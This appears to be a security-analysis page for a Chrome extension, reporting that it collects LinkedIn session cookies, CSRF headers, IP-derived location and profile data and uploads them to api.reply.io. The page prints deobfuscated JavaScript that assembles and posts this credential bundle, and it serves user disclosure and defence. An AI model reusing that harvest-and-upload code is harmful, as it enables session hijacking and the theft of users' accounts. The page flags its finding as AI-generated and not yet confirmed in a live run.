Is Email Search and Outreach by Sprouts safe?

Medium risk

Email Search and Outreach by Sprouts captures your live LinkedIn session cookies and sends them to its own backend.

The background service worker reads your LinkedIn authentication cookie (li_at) along with JSESSIONID, csrf-token, and several other session cookies and headers via chrome.cookies and a webRequest tap, bundles them with your IP-based location and profile data, and posts the bundle to the vendor's api.reply.io backend. It repeats this whenever the LinkedIn session cookie changes and on a recurring timer, so the vendor's server keeps a live copy of your authenticated LinkedIn session usable to act as you server-side.

Sprouts Incv3.18.15Chrome Web Store
45Risk
Who publishes it

Sprouts Inc - no other listings under this identity, 7 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Sprouts Inc
Declared legal entity
Sprouts Inc

Shared hosts - 7 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

run.dev.reply.io
Also called by 1 other listing: Findy: Email Search and Outreach by Reply
run.replyapp-stage.net
Also called by 1 other listing: Findy: Email Search and Outreach by Reply
support.reply.io
Also called by 1 other listing: Findy: Email Search and Outreach by Reply
api.reply.io
Also called by 2 other listings: Findy: Email Search and Outreach by Reply, Name2Email
oauth.reply.io
Also called by 2 other listings, including Name2Email
reply.io
Also called by 2 other listings, including Name2Email
run.reply.io
Also called by 3 other listings, including Name2Email

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Background worker reads your LinkedIn session cookies and sends them to Reply.io

Code analysis shows the background service worker reads your LinkedIn session cookies (li_at, JSESSIONID, bcookie and more), adds an IP-derived location, and posts the bundle to Reply.io's own backend for server-side session replay.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You sign into the Sprouts/Reply.io extension and have an active LinkedIn session in the same browser.

The extension did this

The background service worker reads your LinkedIn session cookies and tracking headers, adds your IP-derived location, and sends the whole bundle to Reply.io's own backend.

02EvidenceCODE COMPARE
The code that does this

Cookie and header harvest, then upload to Reply.io's own API

What it actually does
Readable credential bundle assemblydeobfuscated/assets/index.ts-39049d95.js
async function buildLinkedInCredentialBundle() {
  try {
    const COOKIE_NAMES = ["li_at", "bcookie", "lang", "liap", "li_theme_set", "li_theme", "timezone", "bscookie", "li_a"];
    const credentials = { userAgent: navigator.userAgent };

    const userCoordinates = await getIpGeolocation(); // GET http://ip-api.com/json/
    const allLinkedInCookies = await chrome.cookies.getAll({ url: "https://www.linkedin.com" });
    const { liHeaders: capturedHeaders = {} } = await chrome.storage.local.get("liHeaders");
    const langCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "lang" });
    const liapCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "liap" });
    const bcookieCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "bcookie" });
    const liACookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "li_a" });

    const jsessionId = allLinkedInCookies.find(c => c.name === "JSESSIONID")?.value ?? null;
    const allCookies = [...allLinkedInCookies, langCookie, liapCookie, bcookieCookie, liACookie];

    if (!jsessionId) { setCookieInvalid(true); return null; }
    // Requires the 3 LinkedIn tracking headers captured by the webRequest tap first.
    if (Object.values(capturedHeaders).filter(Boolean).length !== 3) {
      setCookieInvalid(true);
      (await getCachedRefreshTarget()) || showReSignInNudge();
      return null;
    }

    // Sales Navigator gating on li_a: only forwarded once the account is
    // confirmed to have Sales Nav access (or a cached flag says so).
    const hasSalesNavAccess = await checkSalesNavAccess();
    let liAValue = "";
    if (hasSalesNavAccess) {
      const cachedFlag = getCachedSalesNavFlag();
      if (liACookie?.value || cachedFlag) liAValue = liACookie?.value ?? "";
      else { notifyLinkedAccountPending(); return null; }
    }

    for (const cookie of allCookies) {
      if (cookie && COOKIE_NAMES.includes(cookie.name)) credentials[cookie.name] = cookie.value;
    }

    const fullCredentialBundle = {
      ...credentials,
      ...capturedHeaders, // x-li-lang, x-li-track, x-restli-protocol-version, csrf-token
      ...(liAValue ? { li_a: liAValue } : {}),
      JSESSIONID: jsessionId,
      "csrf-token": jsessionId.replace(/"/g, "")
    };

    // Scrape the LinkedIn profile in the same authenticated session
    const profile = await (await fetch("https://www.linkedin.com/voyager/api/me", {
      headers: { "csrf-token": jsessionId.replace(/"/g, "") }
    })).json();

    const bundle = {
      liAt: JSON.stringify(credentials),
      linkedInAccountV2Credentials: JSON.stringify(fullCredentialBundle),
      userCoordinates,
      linkedInAccountV2Data: extractProfileFields(profile)
    };

    return {
      ...bundle,
      firstName: profile.miniProfile.firstName,
      lastName: profile.miniProfile.lastName,
      publicIdentifier: profile.miniProfile.publicIdentifier,
      profilePhotoUrls: buildProfilePhotoUrls(profile)
    };
  } catch {
    return null;
  }
}
Readable upload to Reply.io's own APIdeobfuscated/assets/index.ts-39049d95.js + index-411bcf7a.js
async function sendLinkedInCredentialsToReplyIo(linkedInAccountId, bundle) {
  return replyIoV2Client.linkedInAccounts.updateLinkedInAccountCookie({
    linkedInAccountId,
    linkedInAccountData: {
      cookie: bundle.liAt,
      userCoordinates: bundle.userCoordinates,
      linkedInAccountV2Credentials: bundle.linkedInAccountV2Credentials,
      linkedInAccountV2Data: bundle.linkedInAccountV2Data
    }
  });
}

// SDK layer: POSTs to https://api.reply.io/api/v2/chrome-extension/linkedinaccounts/{id}/cookie
function updateLinkedInAccountCookie(client, { linkedInAccountId, linkedInAccountData }) {
  return client.post({
    url: `linkedinaccounts/${linkedInAccountId}/cookie`,
    json: linkedInAccountData
  });
}

function initReplyIoClients(request, extra) {
  replyIoV1Client = createClient("https://api.reply.io/api/v1/chrome-extension", request, extra);
  replyIoV2Client = createClient("https://api.reply.io/api/v2/chrome-extension", request, extra);
}
03EvidenceFIELD TABLE
What's inside the bundle sent to api.reply.io
FieldValueWhy it matters
LinkedIn login session (li_at)
AQEDATib3f0AAAGY... (illustrative)The single token that keeps you signed into LinkedIn. Anyone holding it can act as you on linkedin.com without your password.
Session ID and CSRF token
ajax:8123456789012345678 (illustrative)Server-side session identifier and anti-forgery token LinkedIn uses to validate requests as you.
Tracking cookies (bcookie, liap, etc.)
bcookie="v=2&8f3e19a2-..." (illustrative)Long-lived device and preference identifiers LinkedIn sets on your browser.
Your approximate location
{"latitude": 40.71, "longitude": -74.0} (illustrative)Latitude and longitude derived from your public IP address, attached to the bundle.
LinkedIn profile data
firstName, lastName, publicIdentifier=jane-doe-4821 (illustrative)Your name, photo, and public LinkedIn identifier, scraped from the same authenticated session.
04EvidenceCORRESPONDENCE
Re-exfiltration keeps the copy on Reply.io's servers current
WhenYou didExtension did
immediate, on cookie change
user
You log into LinkedIn, or LinkedIn rotates your li_at/li_a session cookie.
extension
The service worker immediately rebuilds the full credential bundle and posts it to Reply.io again.
periodic (server-set refresh interval)
extension
A periodic refresh timer elapses while a linked LinkedIn account is configured.
extension
The service worker re-checks the linked account and re-sends the bundle if it is still current.
05EvidenceTHIRD PARTY LIST
Where your LinkedIn session data goes
  • api.reply.io

    Reply.io's own v2 chrome-extension API; this Sprouts extension is white-labeled Reply.io. Receives the LinkedIn cookie bundle, headers, location, and profile data.

  • ip-api.com

    Third-party IP geolocation lookup. Receives your public IP address so a latitude/longitude can be attached to the bundle sent to Reply.io.

06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Email Search and Outreach by Sprouts contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ip-api.comwidely used

    Email Search and Outreach by Sprouts sends data to ip-api.com. A widely used service: 62 other extensions we have analysed send data here.

  • api.reply.io

    Email Search and Outreach by Sprouts sends data to api.reply.io. One other extension we have analysed sends data here.

Updated 30 September 2026kljfdjngbjfhkfbmcjamofaipcmkbdmb